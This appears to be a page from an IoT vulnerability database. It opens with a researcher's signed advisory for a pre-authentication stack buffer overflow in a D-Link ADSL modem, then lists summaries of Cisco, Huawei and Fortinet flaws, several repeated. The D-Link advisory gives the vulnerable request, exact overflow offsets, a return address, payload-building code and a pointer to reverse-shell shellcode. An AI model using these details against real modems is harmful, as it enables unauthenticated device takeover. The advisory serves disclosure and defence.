VARIoT IoT vulnerabilities database

D-Link DSL-320B-D1 devices through EU_1.25 are prone to multiple Stack-Based Buffer Overflows that allow unauthenticated remote attackers to take over a device via the login.xgi user and pass parameters. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. D-Link DSL? 320B is an Ethernet modem of D-Link Corporation in Taiwan. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Multiple Pre-Auth Stack Buffer Overflow in D-Link DSL-320B-D1 ADSL Modem ======== < Table of Contents > ========================================= 0. Overview 1. Details 2. Solution 3. Disclosure Timeline 4. Thanks & Acknowledgements 5. References 6. Credits 7. Legal Notices ======== < 0. Severity: Critical CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CVE-ID: CVE-2021-26709 Vendor: D-Link Affected Products: DSL-320B-D1 Affected Versions: EU_1.25 and lower ======== < 1. Details > ================================================ During a Penetration Test it was possible to identify and exploit multiple Stack Buffer Overflows (1) in the D-Link DSL-320B-D1 ADSL modem ,a now legacy model, which is distributed in the past by Telecom Italia on loan for use together with the residential ADSL line. The vulnerabilities are present in the login functionality, exposed by "login.xgi" with "user" and "pass" parameters. [[ GET /login.xgi?user=" + payload + "&pass=abcde HTTP/1.1\nHost: " + host + "\n\n" ]] To exploit the vulnerability using "user" parameter, you need construct the payload like the following: [[ OFFSET = 652 ADDR = 0x7ffe8ab0 payload = "A"*OFFSET payload += pack(">I", ADDR) payload += shellcode ]] While the "pass" parameter uses 641 as offset. The payload must be passed as parameter value in a GET request. You can found a working shellcode here: https://www.exploit-db.com/shellcodes/45541 You will have to change the ip/port to match your network configuration. Using ROP is possible to avoid to use the hardcoded addresses. ======== < 2. Solution > =============================================== Refer to D-Link Support Announcements "SAP10216" for details (2). ======== < 3. Disclosure Timeline > ==================================== 09/01/2021 : Discovery of the vulnerability 23/01/2021 : Vulnerability submitted to vendor 25/01/2021 : Vendor request more info about exploit the vulnerabilities 27/01/2021 : Sent details to vendor 01/02/2021 : Request status update to the vendor 13/02/2021 : Sent CVE assigned by mitre to vendor 13/02/2021 : Vendor response, analysis in progress 30/03/2021 : Request status update to the vendor 30/03/2021 : Vendor confirm the vulnerabilities 07/04/2021 : Public disclosure ======== < 4. Thanks & Acknowledgements > ============================== D-Link US SIRT ======== < 5. References > ============================================= (1) https://cwe.mitre.org/data/definitions/121.html (2) https://supportannouncement.us.dlink.com/announcement/publication.as px?name=SAP10216 (3) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26709 ======== < 6. Credits > ================================================ This vulnerability was discovered and reported by: Gabriele 'matrix' Gristina (gabriele DOT gristina AT gmail DOT com) Contacts: https://www.linkedin.com/in/gabrielegristina https://twitter.com/gm4tr1x https://github.com/matrix/ ======== < 7. Legal Notices > ========================================== Copyright (c) 2021 Gabriele 'matrix' Gristina Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on,this information. -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEElKssfhju0ogMPPCn7SvzgGQpUxsFAmBuug8ACgkQ7SvzgGQp UxsERA//SsjAPq95yZItWPBiSrOSxUuRUUAzwzuo4bIYNb5bjfMDgB/HsnwwtG5W yPXUoKWHLxyaX3nconGirDOHNSYNTd23sYXx+K3T97l/cPNZ3Nv5vk9DRDK76NNc Xe2v7WdBBS1jAbuKKAHv8ioc+uxPs9oi9Iz70Uv9pQsaq2QSm6B+AX5s0fQIsgje glPPYMLAasdmr4Wwk6XBOrzw8zvnkMxaRGsIJ2QmIpl7kmiN2BivSSKWfS8rUhEG RfhIyTjDyN1yHU+GOTEJe04D8CjpLSUCsfFz7BxPYs1IFK44RZfiMJp4c7o7vMPG uXJWpeq6wfraCh/g/JY5rvOpiyYC5e+mtg8MQjJW5ZEkK8Szg14douVn/bLsRFIc cEs3mImqE/8pwksKDRLqAUq9/Q1dt5FRwFLJDpX5e18bwR1XOU1+iRMQJuUGBnre UEibw1u8bSjJakFi9gCXQC2LrvbAC/tc97I42bA7qhiJxmOaMdPWt/C7Is/bVdYB JdVUej2eMBlsmfVaPbM6aT18+Z9sfIMKaGq9nAbBmY+DNI6gBfX0ty8X1o39ADcQ I+DEXnKBZP1YhWlvYYR5mBMYs9wJzw8OGyeGqK2LU1tmWfF9d0drXK5pvK1sSpQh /ytQ4g/jSRp+UBK7Ulxep08gCphGuAkc7NuKsbHh4YgkCbIaIDI= =4j+1 -----END PGP SIGNATURE-----

Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)

Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)

A vulnerability in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied input in the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code as the root user on the underlying operating system of the affected device. Cisco has not released software updates that address this vulnerability

Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory

Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)

There is a pointer double free vulnerability in some versions of CloudEngine 5800, CloudEngine 6800, CloudEngine 7800 and CloudEngine 12800. When a function is called, the same memory pointer is copied to two functional modules. Attackers can exploit this vulnerability by performing a malicious operation to cause the pointer double free. This may lead to module crash, compromising normal service. Huawei CloudEngine 6800, etc. are all products of China's Huawei (Huawei) company. CloudEngine 6800 is a 6800 series of 10 Gigabit Ethernet switches for data centers. Huawei CloudEngine 12800 is a 12800 series data center switch. Huawei Cloudengine 5800 is a 5800 series data center switch

A vulnerability in Cisco Webex Meetings for Android could allow an authenticated, remote attacker to modify the avatar of another user. This vulnerability is due to improper authorization checks. An attacker could exploit this vulnerability by sending a crafted request to the Cisco Webex Meetings client of a targeted user of a meeting in which they are both participants. A successful exploit could allow the attacker to modify the avatar of the targeted user. Cisco Webex Meetings is a set of video conferencing solutions of Cisco (Cisco)

A vulnerability in the web-based management interface of Cisco Unified Intelligence Center Software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. The platform provides report related business data and display function of call center data

A vulnerability in the CLI of Cisco IOS XR Software could allow an authenticated, local attacker to inject arbitrary commands that are executed with root privileges on the underlying Linux operating system (OS) of an affected device. This vulnerability is due to insufficient input validation of commands that are supplied by the user. An attacker could exploit this vulnerability by authenticating to a device and submitting crafted input to an affected command. A successful exploit could allow the attacker to execute commands on the underlying Linux OS with root privileges. Cisco IOS XR is an operating system developed by Cisco for its network equipment. Cisco IOS XR has a parameter injection vulnerability that can be exploited by an attacker to execute code through command injection

Multiple vulnerabilities in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against an interface user. These vulnerabilities exist because the web-based management interface does not properly validate user-supplied input. An attacker could exploit these vulnerabilities by persuading an interface user to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive browser-based information. plural Cisco Product Contains a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

A vulnerability in the Self Care Portal of Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an authenticated, remote attacker to modify data on an affected system without proper authorization. The vulnerability is due to insufficient validation of user-supplied data to the Self Care Portal. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected system. A successful exploit could allow the attacker to modify information without proper authorization. Cisco Cisco Self Care Portal is an application system of Cisco (Cisco)

Multiple vulnerabilities in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against an interface user. These vulnerabilities exist because the web-based management interface does not properly validate user-supplied input. An attacker could exploit these vulnerabilities by persuading an interface user to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive browser-based information. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

Multiple vulnerabilities in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against an interface user. These vulnerabilities exist because the web-based management interface does not properly validate user-supplied input. An attacker could exploit these vulnerabilities by persuading an interface user to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive browser-based information. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

Multiple vulnerabilities in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against an interface user. These vulnerabilities exist because the web-based management interface does not properly validate user-supplied input. An attacker could exploit these vulnerabilities by persuading an interface user to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive browser-based information. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

A vulnerability in Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an authenticated, remote attacker to access sensitive information on an affected device. The vulnerability is due to improper inclusion of sensitive information in downloadable files. An attacker could exploit this vulnerability by authenticating to an affected device and issuing a specific set of commands. A successful exploit could allow the attacker to obtain hashed credentials of system users. To exploit this vulnerability an attacker would need to have valid user credentials with elevated privileges. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

A vulnerability in certain web pages of Cisco Webex Meetings could allow an unauthenticated, remote attacker to modify a web page in the context of a user's browser. The vulnerability is due to improper checks on parameter values in affected pages. An attacker could exploit this vulnerability by persuading a user to follow a crafted link that is designed to pass HTML code into an affected parameter. A successful exploit could allow the attacker to alter the contents of a web page to redirect the user to potentially malicious websites, or the attacker could use this vulnerability to conduct further client-side attacks. Cisco Webex Meetings Contains a cross-site scripting vulnerability.Information may be tampered with. Cisco Webex Meetings is a set of video conferencing solutions of Cisco (Cisco)

A vulnerability in the SOAP API endpoint of Cisco Unified Communications Manager, Cisco Unified Communications Manager Session Management Edition, Cisco Unified Communications Manager IM &amp; Presence Service, Cisco Unity Connection, and Cisco Prime License Manager could allow an authenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to improper sanitization of user-supplied input. An attacker could exploit this vulnerability by sending a SOAP API request with crafted parameters to an affected device. A successful exploit could allow the attacker to execute arbitrary code with root privileges on the underlying Linux operating system of the affected device. plural Cisco The product contains a code injection vulnerability.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. Cisco Unity Connection is a voice message platform. The platform can utilize voice commands to make calls or listen to messages hands-free. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

A clear text storage of sensitive information into log file vulnerability in FortiADCManager 5.3.0 and below, 5.2.1 and below and FortiADC 5.3.7 and below may allow a remote authenticated attacker to read other local users' password in log files. Fortinet FortiADC is an application delivery controller from Fortinet. The following products and versions are affected: FortiADCManager versions and earlier, FortiADCManager versions 5.2.1 and earlier, FortiADC versions 5.3.7 and earlier

Multiple vulnerabilities in the Admin audit log export feature and Scheduled Reports feature of Cisco Umbrella could allow an authenticated, remote attacker to perform formula and link injection attacks on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Cisco Umbrella is a cloud security platform of Cisco (Cisco). The platform protects against cyber threats such as phishing, malware, and ransomware